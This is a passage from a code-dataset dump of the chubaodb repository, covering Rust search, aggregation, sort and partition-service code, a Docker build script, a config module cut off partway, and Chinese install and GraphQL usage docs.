return result!(\r\n Code::ParamError,\r\n \"stats format not right, example stats(name) , param need field name\"\r\n );\r\n }\r\n };\r\n Function::Stats(stats_agg)\r\n }\r\n _ => return result!(Code::ParamError, \"fun:{} not define\", name),\r\n };\r\n\r\n Ok(fun)\r\n }\r\n\r\n pub fn name(&self) -> &str {\r\n match self {\r\n Function::Count(_) => ID_BYTES,\r\n Function::Stats(a) => a.result.field.as_str(),\r\n Function::Hits(_) => ID_BYTES,\r\n }\r\n }\r\n\r\n pub fn key(&self) -> String {\r\n match self {\r\n Function::Count(_) => String::from(\"count\"),\r\n Function::Stats(a) => format!(\"stats({})\", a.result.field),\r\n Function::Hits(_) => String::from(\"hits\"),\r\n }\r\n }\r\n\r\n pub fn map(&mut self, v: &[u8]) -> ASResult<bool> {\r\n match self {\r\n Function::Count(a) => {\r\n a.map()?;\r\n Ok(true)\r\n }\r\n Function::Stats(a) => {\r\n if v.len() == 0 {\r\n a.map(None)?;\r\n return Ok(true);\r\n }\r\n\r\n let array = a.field.array();\r\n match a.field {\r\n Field::int(_) | Field::date(_) => {\r\n if array {\r\n for v in i64_arr_decoding(v) {\r\n a.map(Some(v as f64))?;\r\n }\r\n } else {\r\n a.map(Some(slice_i64(v) as f64))?;\r\n }\r\n }\r\n Field::float(_) => {\r\n if array {\r\n for v in f64_arr_decoding(v) {\r\n a.map(Some(v))?;\r\n }\r\n } else {\r\n a.map(Some(slice_f64(v)))?;\r\n }\r\n }\r\n _ => {\r\n return result!(\r\n Code::ParamError,\r\n \"field:{} not support stats agg\",\r\n a.field.name()\r\n );\r\n }\r\n }\r\n Ok(true)\r\n }\r\n Function::Hits(a) => a.map(v.to_vec()),\r\n }\r\n }\r\n}\r\n\r\n#[derive(Clone)]\r\npub struct Count {\r\n pub result: AggCount,\r\n}\r\n\r\nimpl Count {\r\n pub fn new() -> Self {\r\n Self {\r\n result: AggCount::default(),\r\n }\r\n }\r\n\r\n pub fn map(&mut self) -> ASResult<bool> {\r\n self.result.count += 1;\r\n Ok(true)\r\n }\r\n}\r\n\r\n#[derive(Clone)]\r\npub struct Stats {\r\n pub result: AggStats,\r\n pub field: Field,\r\n}\r\n\r\nimpl Stats {\r\n pub fn new(name: String, field: Field) -> Self {\r\n Self {\r\n field,\r\n result: AggStats {\r\n field: name,\r\n count: 0,\r\n max: f64::MIN,\r\n min: f64::MAX,\r\n sum: 0f64,\r\n missing: 0,\r\n },\r\n }\r\n }\r\n\r\n pub fn map(&mut self, value: Option<f64>) -> ASResult<bool> {\r\n if value.is_none() {\r\n self.result.missing += 1;\r\n return Ok(true);\r\n }\r\n let value = value.unwrap();\r\n let result = &mut self.result;\r\n result.count += 1;\r\n if value > result.max {\r\n result.max = value;\r\n }\r\n\r\n if value < result.min {\r\n result.min = value;\r\n }\r\n\r\n result.sum += value;\r\n\r\n Ok(true)\r\n }\r\n}\r\n\r\n#[derive(Clone)]\r\npub struct Hits {\r\n pub result: AggHits,\r\n pub collection_name: String,\r\n}\r\n\r\nimpl Hits {\r\n pub fn new(collection_name: String, size: usize, _: Field) -> Self {\r\n Self {\r\n result: AggHits {\r\n size: size as u64,\r\n count: 0,\r\n hits: Vec::with_capacity(size),\r\n },\r\n collection_name,\r\n }\r\n }\r\n\r\n pub fn map(&mut self, value: Vec<u8>) -> ASResult<bool> {\r\n if self.result.hits.len() >= self.result.size as usize {\r\n return Ok(false);\r\n }\r\n let result = &mut self.result;\r\n result.hits.push(Hit {\r\n collection_name: self.collection_name.clone(),\r\n score: 1f32,\r\n doc: value,\r\n sort: vec![],\r\n });\r\n Ok(true)\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4856281876564026, "alphanum_fraction": 0.49095967411994934, "avg_line_length": 24.832334518432617, "blob_id": "1f88c70eb17c8b32bd2e5d41d2a3c23826bc7d13", "content_id": "43c21b4d285277ea6df7d0647ba87098d81160ec", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 4314, "license_type": "permissive", "max_line_length": 94, "num_lines": 167, "path": "/src/pserver/simba/engine/tantivy/sort.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::util::coding::sort_coding;\nuse std::cmp::Ordering;\nuse tantivy::{\n collector::{CustomScorer, CustomSegmentScorer},\n fastfield::BytesFastFieldReader,\n schema::Field,\n DocId, SegmentReader,\n};\n\n#[derive(Clone)]\npub struct FieldScore {\n pub fields: Vec<Vec<u8>>,\n asc: Vec<bool>,\n}\n\nimpl FieldScore {\n fn new(cap: usize) -> FieldScore {\n FieldScore {\n fields: Vec::with_capacity(cap),\n asc: Vec::with_capacity(cap),\n }\n }\n\n fn push(&mut self, v: Vec<u8>, asc: bool) {\n self.fields.push(v);\n self.asc.push(asc);\n }\n\n pub fn cmp_by_order(s: &Vec<Vec<u8>>, o: &Vec<Vec<u8>>, asc: &Vec<bool>) -> Ordering {\n let len = asc.len();\n for i in 0..len {\n let asc = asc[i];\n let order = Self::cmp(&s[i], &o[i]);\n if order != Ordering::Equal {\n if asc {\n return order;\n } else {\n return order.reverse();\n }\n }\n }\n Ordering::Equal\n }\n\n fn cmp(s: &[u8], o: &[u8]) -> Ordering {\n //default num compare\n if s[0] != crate::util::coding::sort_coding::STR {\n return s.cmp(o);\n }\n\n let mut s = sort_coding::str_arr_decoding(s);\n let mut o = sort_coding::str_arr_decoding(o);\n\n loop {\n let s = s.next();\n let o = o.next();\n\n if s.is_none() && o.is_none() {\n return Ordering::Equal;\n } else if o.is_none() {\n return Ordering::Greater;\n } else if s.is_none() {\n return Ordering::Less;\n }\n\n let order = s.unwrap().cmp(o.unwrap());\n\n if order != Ordering::Equal {\n return order;\n }\n }\n }\n}\n\nimpl PartialOrd for FieldScore {\n fn partial_cmp(&self, other: &Self) -> Option<Ordering> {\n for (i, v) in other.fields.iter().enumerate() {\n let asc = self.asc[i];\n let order = FieldScore::cmp(&self.fields[i], v);\n if order != Ordering::Equal {\n if asc {\n return Some(order);\n } else {\n return Some(order.reverse());\n }\n }\n }\n return Some(Ordering::Equal);\n }\n}\n\nimpl PartialEq for FieldScore {\n fn eq(&self, other: &Self) -> bool {\n self.partial_cmp(other) == Some(Ordering::Equal)\n }\n}\n\n// order asc is true , desc is false\n#[derive(Clone)]\nstruct FieldSort {\n field: Field,\n asc: bool,\n signed: bool,\n}\n\npub struct FieldSorts(Vec<FieldSort>);\n\nimpl FieldSorts {\n pub fn new(cap: usize) -> FieldSorts {\n FieldSorts(Vec::with_capacity(cap))\n }\n\n pub fn push(&mut self, field: Field, asc: bool, signed: bool) {\n self.0.push(FieldSort { field, asc, signed });\n }\n}\n\nimpl CustomScorer<FieldScore> for FieldSorts {\n type Child = FieldFastReader;\n\n fn segment_scorer(&self, segment_reader: &SegmentReader) -> tantivy::Result<Self::Child> {\n let mut ffr = FieldFastReader::with_capacity(self.0.len());\n\n for fs in self.0.iter() {\n let reader = segment_reader\n .fast_fields()\n .bytes(fs.field)\n .ok_or_else(|| {\n tantivy::TantivyError::SchemaError(format!(\n \"Field requested ({:?}) is not a i64/u64 fast field.\",\n fs.field\n ))\n })?;\n\n ffr.push(FieldReader {\n reader,\n asc: fs.asc,\n signed: fs.signed,\n });\n }\n\n Ok(ffr)\n }\n}\n\npub struct FieldReader {\n reader: BytesFastFieldReader,\n asc: bool,\n signed: bool,\n}\n\n//the second param is signed , for datetime or i64 sort\ntype FieldFastReader = Vec<FieldReader>;\n\nimpl CustomSegmentScorer<FieldScore> for FieldFastReader {\n fn score(&self, doc: DocId) -> FieldScore {\n let mut fs = FieldScore::new(self.len());\n for fr in self.iter() {\n let mut v = fr.reader.get_bytes(doc).to_vec();\n if fr.signed && v.len() > 0 {\n v[0] = v[0] ^ 128;\n }\n fs.push(v, fr.asc);\n }\n fs\n }\n}\n" }, { "alpha_fraction": 0.6111929416656494, "alphanum_fraction": 0.6406480073928833, "avg_line_length": 25.8799991607666, "blob_id": "5c4f730d0d00893b39cb8f4217a5723d7bd7f3d2", "content_id": "80d449e7c1ef6a52187f800c90439f4f519f9613", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1219, "license_type": "permissive", "max_line_length": 88, "num_lines": 25, "path": "/docs/zh-CN/src/install.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# 编译与安装\n\n`chubaodb`采用rust编写同时可能会依赖一些c库,支持跨平台编译,目前支持操作系统有 windows , linux , macos.可能还有其他不知道的,碰到再说。\n\n\n\n| 共功能\\系统 | windows | linux | macos |\n| ---- | ---- | ---- | ---- |\n| 存储 | 支持 | 支持 | 支持 |\n| 全文检索 | 支持 | 支持 | 支持 |\n| 向量检索 | `不支持` | 支持 | 支持 |\n\n\n-----------------\n\n**重点**: 如果你之前没有rust环境,且对rust 没什么兴趣直接下载我们的release 版本。 (TODO: release连接),珍爱生命远离rust编译\n\n\n**开始编译以在macos 下编译为例**\n* 在项目根目录执行 `cargo build --release` ,\n* 如果运气好没有报错,那么进入 `target/release` 目录获得编译好的二进制文件 `chubaodb`\n* 执行 ./chubaodb \n* 打开浏览器访问 http://127.0.0.1:8080 为router地址, 这个地址用来对数据进行CRUD\n* 打开浏览器访问 http://127.0.0.1:7070 为master地址, 这个地址用来对库表及数据结构进行管理。\n* 之后的章节会详细介绍这些地址的用法,如果一切顺利恭喜你,chubaodb已经在你的电脑中完美运行了。\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.47765958309173584, "alphanum_fraction": 0.4797872304916382, "avg_line_length": 16.716981887817383, "blob_id": "0746b95bc017adce19da5468c00d6c660574185c", "content_id": "40cc79395b9aa3dffc19231874f3ef14e9825719", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 940, "license_type": "permissive", "max_line_length": 71, "num_lines": 53, "path": "/docker/run_docker.sh", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\nRootPath=$(cd $(dirname $0)/..; pwd)\n\nhelp() {\n cat <<EOF\n\nUsage: ./run_docker.sh [ --build | --help ]\n --help show help info\n --build build ChubaoFS server and client\n --clean clean up containers\n --clear clear old docker image\nEOF\n exit 0\n}\n\n# build\nbuild() {\n mkdir -p ~/.cargo/registry\n mkdir -p ${RootPath}/docker/build\n docker-compose -f ${RootPath}/docker/docker-compose.yml run build \n}\n\n# clean\nclean() {\n docker-compose -f ${RootPath}/docker/docker-compose.yml down\n}\n\ncmd=\"help\"\n\nARGS=( \"$@\" )\nfor opt in ${ARGS[*]} ; do\n case \"$opt\" in\n --help)\n help\n ;;\n --build)\n cmd=build\n ;;\n --clean)\n cmd=clean\n ;;\n *)\n ;;\n esac\ndone\n\ncase \"-$cmd\" in\n -help) help ;;\n -build) build ;;\n -clean) clean ;;\n *) help ;;\nesac\n\n" }, { "alpha_fraction": 0.46397483348846436, "alphanum_fraction": 0.46979549527168274, "avg_line_length": 30.058631896972656, "blob_id": "3fa546d0df6551dd8a5470ff4283f5d2ff4070bd", "content_id": "2d4b56bf260dd28509d51eb9807afd38b4e31ac2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 19070, "license_type": "permissive", "max_line_length": 112, "num_lines": 614, "path": "/src/pserver/service.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::client::meta_client::MetaClient;\nuse crate::pserver::raft::*;\nuse crate::pserver::simba::aggregation;\nuse crate::pserver::simba::engine::tantivy::sort::FieldScore;\nuse crate::pserver::simba::simba::Simba;\nuse crate::pserverpb::*;\nuse crate::util::{coding, config, entity::*, error::*};\nuse crate::*;\nuse async_std::{sync::channel, task};\nuse log::{error, info};\nuse raft4rs::{\n entity::{Decode, Entry},\n error::*,\n raft::Raft,\n server::Server as RaftServer,\n};\nuse serde_json::{json, Value};\nuse std::collections::HashMap;\nuse std::sync::{\n atomic::{AtomicU64, Ordering::SeqCst},\n Arc, Mutex, RwLock,\n};\nenum Store {\n Leader {\n partition: Arc<Partition>,\n raft: Arc<Raft>,\n simba: Arc<Simba>,\n },\n Member {\n partition: Arc<Partition>,\n raft: Arc<Raft>,\n simba: Arc<Simba>,\n },\n}\n\nimpl Store {\n fn is_leader_type(&self) -> bool {\n match self {\n Self::Leader { .. } => true,\n _ => false,\n }\n }\n\n fn leader_simba(&self) -> ASResult<(Arc<Simba>, Arc<Raft>)> {\n match self {\n Self::Leader { simba, raft, .. } => Ok((simba.clone(), raft.clone())),\n _ => result!(Code::PartitionNotLeader, \"simba partition not leader\"),\n }\n }\n\n fn simba(&self) -> ASResult<Arc<Simba>> {\n match self {\n Self::Leader { simba, .. } | Self::Member { simba, .. } => Ok(simba.clone()),\n }\n }\n\n fn raft(&self) -> ASResult<Arc<Raft>> {\n match self {\n Self::Leader { raft, .. } | Self::Member { raft, .. } => Ok(raft.clone()),\n }\n }\n\n fn partition(&self) -> Arc<Partition> {\n match self {\n Self::Leader { partition, .. } | Self::Member { partition, .. } => partition.clone(),\n }\n }\n}\n\npub struct PartitionService {\n pub server_id: AtomicU64,\n simba_map: RwLock<HashMap<(u32, u32), Arc<Store>>>,\n pub conf: Arc<config::Config>,\n pub lock: Mutex<usize>,\n meta_client: Arc<MetaClient>,\n raft_server: Option<RaftServer>,\n}\n\nimpl PartitionService {\n pub fn new(conf: Arc<config::Config>) -> Arc<Self> {\n Arc::new(PartitionService {\n server_id: AtomicU64::new(0),\n simba_map: RwLock::new(HashMap::new()),\n conf: conf.clone(),\n lock: Mutex::new(0),\n meta_client: Arc::new(MetaClient::new(conf)),\n raft_server: None,\n })\n }\n\n pub async fn init(self: &mut Arc<Self>) -> ASResult<()> {\n let ps = match self\n .meta_client\n .register(self.conf.global.ip.as_str(), self.conf.ps.rpc_port as u32)\n .await\n {\n Ok(p) => {\n info!(\"register to master ok: node_id:{:?} \", p.id);\n p\n }\n Err(e) => {\n return result_def!(\"{}\", e.to_string());\n }\n };\n\n match ps.id {\n Some(id) => self.server_id.store(id as u64, SeqCst),\n None => {\n return result_def!(\"got id for master has err got:{:?} \", ps.id);\n }\n }\n\n info!(\"register server line:{:?}\", ps);\n\n let raft_server = RaftServer::new(\n make_raft_conf(self.server_id.load(SeqCst), &self.conf),\n NodeResolver::new(self.meta_client.clone()),\n );\n\n Arc::get_mut(self).unwrap().raft_server = Some(raft_server);\n\n for wp in ps.write_partitions {\n if let Err(e) = self\n .init_partition(wp.collection_id, wp.id, wp.replicas, false, wp.version)\n .await\n {\n error!(\"init partition has err:{}\", e.to_string());\n };\n }\n\n Ok(())\n }\n\n pub async fn init_partition(\n self: &Arc<Self>,\n collection_id: u32,\n partition_id: u32,\n replicas: Vec<Replica>,\n _readonly: bool,\n version: u64,\n ) -> ASResult<()> {\n info!(\n \"to load partition:{} partition:{} exisit:{}\",\n collection_id,\n partition_id,\n self.simba_map\n .read()\n .unwrap()\n .contains_key(&(collection_id, partition_id))\n );\n\n let _ = self.lock.lock().unwrap();\n info!(\"Start init_partition\");\n\n if self\n .simba_map\n .read()\n .unwrap()\n .get(&(collection_id, partition_id))\n .is_some()\n {\n return Ok(());\n }\n\n let collection = Arc::new(self.meta_client.get_collection_by_id(collection_id).await?);\n\n if version > 0 {\n self.check_partition_version(collection_id, partition_id, version)\n .await?;\n }\n\n let partition = Arc::new(Partition {\n id: partition_id,\n collection_id: collection_id,\n replicas: replicas,\n leader: format!(\"{}:{}\", self.conf.global.ip, self.conf.ps.rpc_port), //TODO: first need set leader.\n version: version + 1,\n });\n\n let simba = Simba::new(self.conf.clone(), collection.clone(), partition.clone())?;\n\n let replicas: Vec<u64> = partition\n .replicas\n .iter()\n .map(|r| r.node_id as u64)\n .collect();\n\n let raft = conver(\n self.raft_server\n .as_ref()\n .unwrap()\n .create_raft(\n coding::merge_u32(collection.id, partition.id),\n 0,\n replicas[0],\n &replicas,\n NodeStateMachine::new(\n Some(simba.clone()),\n collection.clone(),\n partition.clone(),\n self.clone(),\n ),\n )\n .await,\n )?;\n\n self.init_simba_by_raft(&simba, &raft).await?;\n\n self.simba_map.write().unwrap().insert(\n (collection_id, partition_id),\n Arc::new(Store::Member {\n simba: simba,\n partition: partition,\n raft: raft,\n }),\n );\n\n Ok(())\n }\n\n async fn check_partition_version(&self, cid: u32, pid: u32, version: u64) -> ASResult<()> {\n let partition = self.meta_client.get_partition(cid, pid).await?;\n\n if partition.version > version {\n return result!(\n Code::VersionErr,\n \"the collection:{} partition:{} version not right expected:{} found:{}\",\n cid,\n pid,\n version,\n partition.version\n );\n }\n Ok(())\n }\n\n //offload partition , if partition not exist , it will return success\n pub fn offload_partition(&self, req: PartitionRequest) -> ASResult<GeneralResponse> {\n info!(\n \"to offload partition:{} partition:{} exisit:{}\",\n req.collection_id,\n req.partition_id,\n self.simba_map\n .read()\n .unwrap()\n .contains_key(&(req.collection_id, req.partition_id))\n );\n if let Some(store) = self\n .simba_map\n .write()\n .unwrap()\n .remove(&(req.collection_id, req.partition_id))\n {\n store.simba()?.stop();\n crate::sleep!(300);\n while Arc::strong_count(&store) > 1 {\n info!(\n \"wait release store collection:{} partition:{} now is :{}\",\n req.collection_id,\n req.partition_id,\n Arc::strong_count(&store)\n );\n crate::sleep!(300);\n }\n store.simba()?.release();\n }\n make_general_success()\n }\n\n pub async fn apply_leader_change(\n &self,\n collection: &Arc<Collection>,\n partition: &Arc<Partition>,\n leader_id: u64,\n ) -> ASResult<()> {\n let (cid, pid) = (collection.id, partition.id);\n\n let store = match self.simba_map.read().unwrap().get(&(cid, pid)) {\n Some(store) => store.clone(),\n None => {\n return result_def!(\n \"not found partition_id:{} collection_id:{} in server\",\n cid,\n pid\n );\n }\n };\n if self.server_id.load(SeqCst) == leader_id {\n if store.is_leader_type() {\n return Ok(());\n }\n\n let store = Store::Leader {\n partition: store.partition(),\n raft: store.raft()?,\n simba: store.simba()?,\n };\n\n self.simba_map\n .write()\n .unwrap()\n .insert((cid, pid), Arc::new(store));\n } else {\n if !store.is_leader_type() {\n return Ok(());\n }\n\n let store = if self.conf.global.shared_disk {\n panic!(\"not support \")\n } else {\n Store::Member {\n partition: partition.clone(),\n raft: store.raft()?,\n simba: store.simba()?,\n }\n };\n\n self.simba_map\n .write()\n .unwrap()\n .insert((cid, pid), Arc::new(store));\n }\n\n self.take_heartbeat().await\n }\n\n async fn init_simba_by_raft(&self, simba: &Arc<Simba>, raft: &Arc<Raft>) -> RaftResult<()> {\n let index = simba.get_raft_index() + 1;\n let mut iter = raft.store.iter(index).await?;\n\n while let Some(body) = iter.next(&raft.store).await? {\n match Entry::decode(&body)? {\n Entry::Commit { index, commond, .. } => {\n if let Err(e) = simba.do_write(index, &commond, true) {\n error!(\"init raft log has err:{:?} line:{:?}\", e, commond);\n }\n }\n Entry::LeaderChange { .. } => {}\n Entry::MemberChange { .. } => {\n //TODO: member change ........\n }\n _ => panic!(\"not support\"),\n }\n }\n Ok(())\n }\n\n pub async fn take_heartbeat(&self) -> ASResult<()> {\n let _ = self.lock.lock().unwrap();\n\n let wps = self\n .simba_map\n .read()\n .unwrap()\n .iter()\n .filter(|(_, s)| s.is_leader_type())\n .map(|(_, s)| Partition::clone(&*s.simba().unwrap().base.partition))\n .collect::<Vec<Partition>>();\n\n self.meta_client\n .put_pserver(&PServer {\n id: Some(self.server_id.load(SeqCst) as u32),\n addr: format!(\"{}:{}\", self.conf.global.ip.as_str(), self.conf.ps.rpc_port),\n write_partitions: wps,\n zone: self.conf.ps.zone.clone(),\n modify_time: 0,\n })\n .await\n }\n\n pub async fn write(&self, req: WriteDocumentRequest) -> ASResult<GeneralResponse> {\n let (simba, raft) = if let Some(store) = self\n .simba_map\n .read()\n .unwrap()\n .get(&(req.collection_id, req.partition_id))\n {\n store.leader_simba()?.clone()\n } else {\n return Err(make_not_found_err(req.collection_id, req.partition_id)?);\n };\n\n match simba.write(req, raft).await {\n Ok(_) | Err(ASError::Success) => Ok(GeneralResponse {\n code: Code::Success as i32,\n message: String::from(\"success\"),\n }),\n Err(ASError::Error(c, m)) => Ok(GeneralResponse {\n code: c as i32,\n message: m,\n }),\n }\n }\n\n pub fn get(&self, req: GetDocumentRequest) -> ASResult<DocumentResponse> {\n let store = if let Some(store) = self\n .simba_map\n .read()\n .unwrap()\n .get(&(req.collection_id, req.partition_id))\n {\n store.clone()\n } else {\n make_not_found_err(req.collection_id, req.partition_id)?\n };\n\n Ok(DocumentResponse {\n code: Code::Success as i32,\n message: String::from(\"success\"),\n doc: store.simba()?.get(req.id.as_str(), req.sort_key.as_str())?,\n })\n }\n\n pub async fn count(&self, req: CountDocumentRequest) -> ASResult<CountDocumentResponse> {\n let mut cdr = CountDocumentResponse {\n code: Code::Success as i32,\n estimate_count: 0,\n index_count: 0,\n db_count: 0,\n vectors_count: Vec::new(),\n message: String::default(),\n };\n\n for collection_partition_id in req.cpids.iter() {\n let cpid = coding::split_u32(*collection_partition_id);\n let simba = if let Some(store) = self.simba_map.read().unwrap().get(&cpid) {\n store.simba()?.clone()\n } else {\n return make_not_found_err(cpid.0, cpid.1);\n };\n\n match simba.count() {\n Ok(v) => {\n cdr.estimate_count += v.estimate_count;\n cdr.index_count += v.index_count;\n cdr.db_count += v.db_count;\n for (i, ic) in v.vectors_count.into_iter().enumerate() {\n match cdr.vectors_count.get_mut(i) {\n Some(ic2) => ic2.count += ic.count,\n None => cdr.vectors_count.push(ic),\n }\n }\n }\n Err(e) => {\n cdr.code = e.code() as i32;\n cdr.message.push_str(&format!(\n \"collection_partition_id:{} has err:{}\",\n collection_partition_id, e\n ));\n }\n }\n }\n\n return Ok(cdr);\n }\n\n pub async fn agg(&self, sdreq: QueryRequest) -> ASResult<AggregationResponse> {\n let len = sdreq.cpids.len();\n\n let (tx, rx) = channel(len);\n\n let sdreq = Arc::new(sdreq);\n\n for cpid in sdreq.cpids.iter() {\n let cpid = coding::split_u32(*cpid);\n if let Some(store) = self.simba_map.read().unwrap().get(&cpid) {\n if let Ok(simba) = store.simba() {\n let simba = simba.clone();\n let tx = tx.clone();\n let sdreq = sdreq.clone();\n task::spawn(async move {\n tx.send(simba.agg(sdreq)).await;\n });\n } else {\n return make_not_found_err(cpid.0, cpid.1);\n }\n } else {\n return make_not_found_err(cpid.0, cpid.1);\n }\n }\n\n let mut dist = rx.recv().await?;\n\n if sdreq.cpids.len() == 1 {\n return Ok(dist);\n }\n\n let mut result = HashMap::new();\n for v in std::mem::replace(&mut dist.result, Vec::default()) {\n result.insert(v.key.clone(), v);\n }\n\n for _ in 0..len - 1 {\n dist = merge_aggregation_response(dist, &mut result, rx.recv().await.unwrap());\n }\n\n dist.result = aggregation::make_vec(result, &sdreq.sort, sdreq.size as usize)?;\n\n Ok(dist)\n }\n\n pub async fn search(&self, sdreq: QueryRequest) -> ASResult<SearchDocumentResponse> {\n let len = sdreq.cpids.len();\n\n let (tx, rx) = channel(len);\n\n let sdreq = Arc::new(sdreq);\n\n for cpid in sdreq.cpids.iter() {\n let cpid = coding::split_u32(*cpid);\n if let Some(store) = self.simba_map.read().unwrap().get(&cpid) {\n if let Ok(simba) = store.simba() {\n let simba = simba.clone();\n let tx = tx.clone();\n let sdreq = sdreq.clone();\n task::spawn(async move {\n tx.send(simba.search(sdreq)).await;\n });\n } else {\n return make_not_found_err(cpid.0, cpid.1);\n }\n } else {\n return make_not_found_err(cpid.0, cpid.1);\n }\n }\n\n let mut dist = rx.recv().await?;\n for _ in 0..len - 1 {\n dist = merge_search_document_response(dist, rx.recv().await.unwrap());\n }\n\n let asc = if sdreq.sort.len() == 0 {\n vec![true]\n } else {\n sdreq.sort.iter().map(|o| o.order == \"asc\").collect()\n };\n\n dist.hits\n .sort_by(|v1, v2| FieldScore::cmp_by_order(&v1.sort, &v2.sort, &asc));\n\n if dist.hits.len() > sdreq.size as usize {\n unsafe {\n dist.hits.set_len(sdreq.size as usize);\n }\n }\n\n Ok(dist)\n }\n\n pub fn status(&self, _request: GeneralRequest) -> ASResult<GeneralResponse> {\n Ok(GeneralResponse {\n code: Code::Success as i32,\n message: String::from(\"ok\"),\n })\n }\n}\n\nimpl PartitionService {\n pub fn command(&self, command: CommandRequest) -> ASResult<Vec<u8>> {\n let value: Value = serde_json::from_slice(command.body.as_slice())?;\n\n match value[\"method\"].as_str().unwrap() {\n \"file_info\" => self._file_info(value),\n _ => result_def!(\"not found method:{}\", value[\"method\"]),\n }\n }\n\n fn _file_info(&self, value: Value) -> ASResult<Vec<u8>> {\n let path = value[\"path\"].as_str().unwrap().to_string();\n\n let mut result = Vec::new();\n\n for entry in std::fs::read_dir(path)? {\n let file = conver(entry)?;\n let meta = file.metadata()?;\n result.push(json!({\n \"path\": file.file_name().into_string(),\n \"len\":meta.len(),\n \"modified\": meta.modified().unwrap(),\n }));\n }\n\n conver(serde_json::to_vec(&result))\n }\n}\n\nfn make_not_found_err<T>(cid: u32, pid: u32) -> ASResult<T> {\n result!(\n Code::RocksDBNotFound,\n \"not found collection:{} partition by id:{}\",\n cid,\n pid\n )\n}\n\nfn make_general_success() -> ASResult<GeneralResponse> {\n Ok(GeneralResponse {\n code: Code::Success as i32,\n message: String::from(\"success\"),\n })\n}\n" }, { "alpha_fraction": 0.5913528800010681, "alphanum_fraction": 0.7977684736251831, "avg_line_length": 14.95555591583252, "blob_id": "5b18f18484a35fadab46784ca992aaf8eae4d80d", "content_id": "683b413634c66b3eacc9e671782c06fd3599e5d4", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1257, "license_type": "permissive", "max_line_length": 92, "num_lines": 45, "path": "/docs/zh-CN/src/master.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# 元数据管理\n\n元数据管理是在master api上,提供了graphql的方式。同时内置了一个iql。如果你没有对配置做过更改,master 的地址应该为 http://127.0.0.1:7070\n\n打开地址你就看到如下\n\n![image-20200715111140350](image/image-20200715111140350.png)\n\n\n\n熟悉iql的就不解释了,不熟悉的用用就差不多。\n\n\n\n我们简单说一下各个接口的功能,以collectionGet 为例,这个接口是获取一个表的结构, 点击右侧第二个方法。可以看到需要的参数\n\n![image-20200715111454748](image/image-20200715111454748.png)\n\n\n\n参数为,id ,name 。类型后门没有跟`!`意思就非必须字段。但是必须二选一。意味着你可以通过一个name 或者id 去查询这个collection.然后我们输入query\n\n````\n{\n collectionGet(name:\"t1\")\n}\n````\n\n\n\n\n\n![image-20200715111749876](image/image-20200715111749876.png)\n\n\n\n\n\n可以看到报错了。没错。就是错了。因为我没还没有创建名字为`t1`的collection。后门会有创建的方式。那我们换一个简单的的吧。我们通过query来查询当前系统的版本。\n\n![image-20200715111932528](image/image-20200715111932528.png)\n\n\n\n红色部分为返回结果。太过简单就不解释了。" }, { "alpha_fraction": 0.48546406626701355, "alphanum_fraction": 0.49872279167175293, "avg_line_length": 29.00364875793457, "blob_id": "5ded674f8b2f7971196274b9066b8c23cb74d585", "content_id": "c091c8091aa8d5b05b05baf08f822cff50976273", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 8221, "license_type": "permissive", "max_line_length": 98, "num_lines": 274, "path": "/src/util/config.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "// Copyright 2020 The Chubao Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n// implied. See the License for the specific language governing\n// permissions and limitations under the License.\nuse crate::util::net::MyIp;\nuse git_version::git_version;\nuse log::{info, LevelFilter};\nuse log4rs::{\n append::{\n console::{ConsoleAppender, Target},\n rolling_file::{\n policy::compound::{\n roll::fixed_window::FixedWindowRoller, trigger::size::SizeTrigger, CompoundPolicy,\n },\n RollingFileAppender,\n },\n },\n config::{Appender, Config as LogConfig, Root},\n encode::pattern::PatternEncoder,\n filter::threshold::ThresholdFilter,\n};\nuse serde_derive::Deserialize;\nuse std::fs::File;\nuse std::io::prelude::*;\nuse toml;\n\npub const VERSION: &str = clap::crate_version!();\npub const GIT_VERSION: &str = git_version!();\n\n#[derive(Debug, Deserialize, Clone)]\npub struct Config {\n pub global: Global,\n pub router: Router,\n pub ps: PS,\n pub masters: Vec<Master>,\n}\n\n#[derive(Debug, Deserialize, Clone)]\npub struct Global {\n pub name: String,\n #[serde(default = \"empty_str\")]\n pub ip: String,\n pub log: String,\n pub log_level: String,\n #[serde(default = \"default_log_limit_bytes\")]\n pub log_limit_bytes: usize,\n #[serde(default = \"default_log_file_count\")]\n pub log_file_count: usize,\n pub shared_disk: bool,\n}\n\nfn default_log_limit_bytes() -> usize {\n 128 * 1024 * 1024\n}\n\nfn default_log_file_count() -> usize {\n 100\n}\n\n#[derive(Debug, Deserialize, Clone)]\npub struct Router {\n pub http_port: u16,\n}\n\n#[derive(Debug, Deserialize, Clone)]\npub struct PS {\n // id value not need set in config, It will be assigned by the master\n pub id: Option<u64>,\n 